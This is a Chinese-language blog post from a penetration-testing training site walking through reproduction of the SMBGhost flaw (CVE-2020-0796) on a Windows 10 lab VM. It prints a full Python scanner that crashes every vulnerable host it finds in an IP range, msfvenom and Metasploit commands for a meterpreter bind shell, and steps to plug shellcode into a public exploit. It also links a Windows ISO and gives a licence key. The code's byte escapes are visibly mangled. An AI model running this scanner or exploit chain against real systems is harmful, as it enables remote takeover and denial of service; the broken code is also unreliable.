1. 首页
  2. 红队技术

windows10永恒之黑漏洞复现

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

1. 漏洞介绍

在进行主机rce漏洞复现的时候,发现win10除了永恒之蓝之外,Windows10还存在永恒之黑漏洞,在这里通过安装镜像来测试下,中间遇到巨多的问题,最后复现成功。

1.1 漏洞描述

2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
• 漏洞名称:SMB远程代码执行漏洞、永恒之黑、SMBGhost
• 漏洞编号:CVE-2020-0796
• 漏洞危害等级:高
• 影响平台:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

以上来源于:https://blog.csdn.net/byt8563/article/details/107163118

请注意,在这影响的windows10版本是1903的,在这里参考了很多文章,发现存在漏洞的镜像如下:

ed2k://|file|cn_windows_10_consumer_editions_version_1903_updated_nov_2019_x64_dvd_055b3530.iso|5409650688|EBA2C4E4A7B30C55FA9C042DB7461675|/

直接下载即可,下载之后就开始安装,在这里使用虚拟机进行安装。激活码:

W269N-WFGWX-YVC9B-4J6C9-T83GX

1.2 安装注意事项

我在这里使用mac上的VMware fusion安装,最好断网安装,安装好之后,记得关闭更新:

windows10永恒之黑漏洞复现
image.png

安装之后,第一时间关闭防火墙,关闭Windows defender

windows10永恒之黑漏洞复现
image.png
windows10永恒之黑漏洞复现
image.png

最后确认当前版本信息:

windows10永恒之黑漏洞复现
image.png

2. 漏洞复现

靶机的ip信息:

windows10永恒之黑漏洞复现

2.1 蓝屏代码测试

在这里使用以下代码可以直接使得有漏洞的系统蓝屏,但是在我测试的过程中发现能够蓝屏的系统,不一定可以rce,代码来源于网上,来源我也不是很清楚了:

import socket, struct, sys
from netaddr import IPNetwork


class Smb2Header:
    def __init__(self, command, message_id):
        self.protocol_id = "xfeSMB"
        self.structure_size = "x40x00"  # Must be set to 0x40
        self.credit_charge = "x00" * 2
        self.channel_sequence = "x00" * 2
        self.channel_reserved = "x00" * 2
        self.command = command
        self.credits_requested = "x00" * 2  # Number of credits requested / granted
        self.flags = "x00" * 4
        self.chain_offset = "x00" * 4  # Points to next message
        self.message_id = message_id
        self.reserved = "x00" * 4
        self.tree_id = "x00" * 4  # Changes for some commands
        self.session_id = "x00" * 8
        self.signature = "x00" * 16

    def get_packet(self):
        return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature


class Smb2NegotiateRequest:
    def __init__(self):
        self.header = Smb2Header("x00" * 2"x00" * 8)
        self.structure_size = "x24x00"
        self.dialect_count = "x08x00"  # 8 dialects
        self.security_mode = "x00" * 2
        self.reserved = "x00" * 2
        self.capabilities = "x7fx00x00x00"
        self.guid = "x01x02xabxcd" * 4
        self.negotiate_context = "x78x00"
        self.additional_padding = "x00" * 2
        self.negotiate_context_count = "x02x00"  # 2 Contexts
        self.reserved_2 = "x00" * 2
        self.dialects = "x02x02" + "x10x02" + "x22x02" + "x24x02" + "x00x03" + "x02x03" + "x10x03" + "x11x03"  # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1
        self.padding = "x00" * 4

    def context(self, type, length):
        data_length = length
        reserved = "x00" * 4
        return type + data_length + reserved

    def preauth_context(self):
        hash_algorithm_count = "x01x00"  # 1 hash algorithm
        salt_length = "x20x00"
        hash_algorithm = "x01x00"  # SHA512
        salt = "x00" * 32
        pad = "x00" * 2
        length = "x26x00"
        context_header = self.context("x01x00", length)
        return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad

    def compression_context(self):
        compression_algorithm_count = "x03x00"  # 3 Compression algorithms
        padding = "x00" * 2
        flags = "x01x00x00x00"
        algorithms = "x01x00" + "x02x00" + "x03x00"  # LZNT1 + LZ77 + LZ77+Huffman
        length = "x0ex00"
        context_header = self.context("x03x00", length)
        return context_header + compression_algorithm_count + padding + flags + algorithms

    def get_packet(self):
        padding = "x00" * 8
        return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding


class NetBIOSWrapper:
    def __init__(self, data):
        self.session = "x00"
        self.length = struct.pack('>i', len(data)).decode('latin1')[1:]
        self.data = data

    def get_packet(self):
        return self.session + self.length + self.data


class Smb2CompressedTransformHeader:
    def __init__(self, data):
        self.data = data
        self.protocol_id = "xfcSMB"
        self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1')
        self.compression_algorithm = "x01x00"
        self.flags = "x00" * 2
        self.offset = "xffxffxffxff"  # Exploit the vulnerability

    def get_packet(self):
        return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data


def send_negotiation(sock):
    negotiate = Smb2NegotiateRequest()
    packet = NetBIOSWrapper(negotiate.get_packet()).get_packet()
    sock.send(packet.encode('latin1'))
    sock.recv(3000)


def send_compressed(sock, data):
    compressed = Smb2CompressedTransformHeader(data)
    packet = NetBIOSWrapper(compressed.get_packet()).get_packet()
    sock.send(packet.encode('latin1'))
    sock.recv(1000)


def darkness_attack(ip: str):
    sock = socket.socket(socket.AF_INET)
    sock.settimeout(3)
    sock.connect((ip, 445))
    send_negotiation(sock)
    try:
        send_compressed(sock, "JST" * 100)
    except Exception:
        return True
    return False


def scanner(ip):
    pkt = b'x00x00x00xc0xfeSMB@x00x00x00x00x00x00x00x00x00x1fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00$x00x08x00x01x00x00x00x7fx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xx00x00x00x02x00x00x00x02x02x10x02"x02$x02x00x03x02x03x10x03x11x03x00x00x00x00x01x00&x00x00x00x00x00x01x00 x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00nx00x00x00x00x00x01x00x00x00x01x00x00x00x01x00x00x00x00x00x00x00'
    for ip in IPNetwork(ip):

        sock = socket.socket(socket.AF_INET)
        sock.settimeout(3)

        try:
            sock.connect((str(ip), 445))
        except:
            sock.close()
            continue

        sock.send(pkt)

        nb, = struct.unpack(">I", sock.recv(4))
        res = sock.recv(nb)

        if res[68:70] != b"x11x03" or res[70:72] != b"x02x00":
            print(f"{ip} Not vulnerable.")
        else:
            darkness_attack(str(ip))
            print(f"{ip} Vulnerable")


if __name__ == "__main__":
    print(scanner('192.168.135.23'))
    # if len(sys.argv) != 2:
    #     exit("[-] Usage: {} target_ip".format(sys.argv[0]))

在最后修改ip地址信息就可以了,直接运行,就得到了蓝屏:
代码运行前:

windows10永恒之黑漏洞复现
image.png

代码运行后:

windows10永恒之黑漏洞复现
image.png

2.2 RCE

攻击机:mac + msf
靶机:带有永恒之黑漏洞的Windows10系统,ip:192.168.135.23

请注意,如果上述可以打蓝屏,但不代表可以RCE!这一点很重要,因为在实际运用的过程中发生过这样的情况,尝试非常多次都是无法获取会话。

在这里使用github上的工具进行:

https://github.com/chompie1337/SMBGhost_RCE_PoC.git

首先需要使用msfvenom来生成shellcode,替换上述链接中的shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=8443 -f py -o shellcode.txt

在这里使用的端口是靶机的端口8443,端口可以任意:

windows10永恒之黑漏洞复现
image.png

然后复制shellcode的内容,将其中的buf关键字替换为USER_PAYLOAD
全部复制:
windows10永恒之黑漏洞复现

在这里替换关键字:

shellcode中的关键字buf替换为USER_PAYLOAD

windows10永恒之黑漏洞复现
image.png

替换原来程序中exploit.pyUSER_PAYLOAD的部分:

windows10永恒之黑漏洞复现
image.png

替换之后,再准备msf的部分:
开启msf,使用监听模块:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 8443
set rhost 192.168.135.23  //靶机地址
run
windows10永恒之黑漏洞复现
image.png

此时使用刚刚的脚本来运行:

python3 exploit.py -ip 192.168.135.23

在这个脚本中,我注释掉了作者加的那句input,不影响程序的运行:

windows10永恒之黑漏洞复现
image.png

此时执行,发现蓝屏,在这个脚本执行的时候,可能有多次蓝屏的情况,在实战中慎用:

windows10永恒之黑漏洞复现
image.png

等靶机启动之后,再执行看下,此时成功:

windows10永恒之黑漏洞复现
image.png

当然,在这里还有其他的情况,比如执行脚本失败等,可以多执行几次,也会出现脚本执行完之后,没有回弹会话的情况,可以把msf的监听停掉,再run以下看看,说不定可以。

但是有些环境下确实是可以测试出蓝屏,但是无法RCE,不知道是不是和硬件也有关系。

3. 总结

永恒之黑这个漏洞,慎用!

原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/8064.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息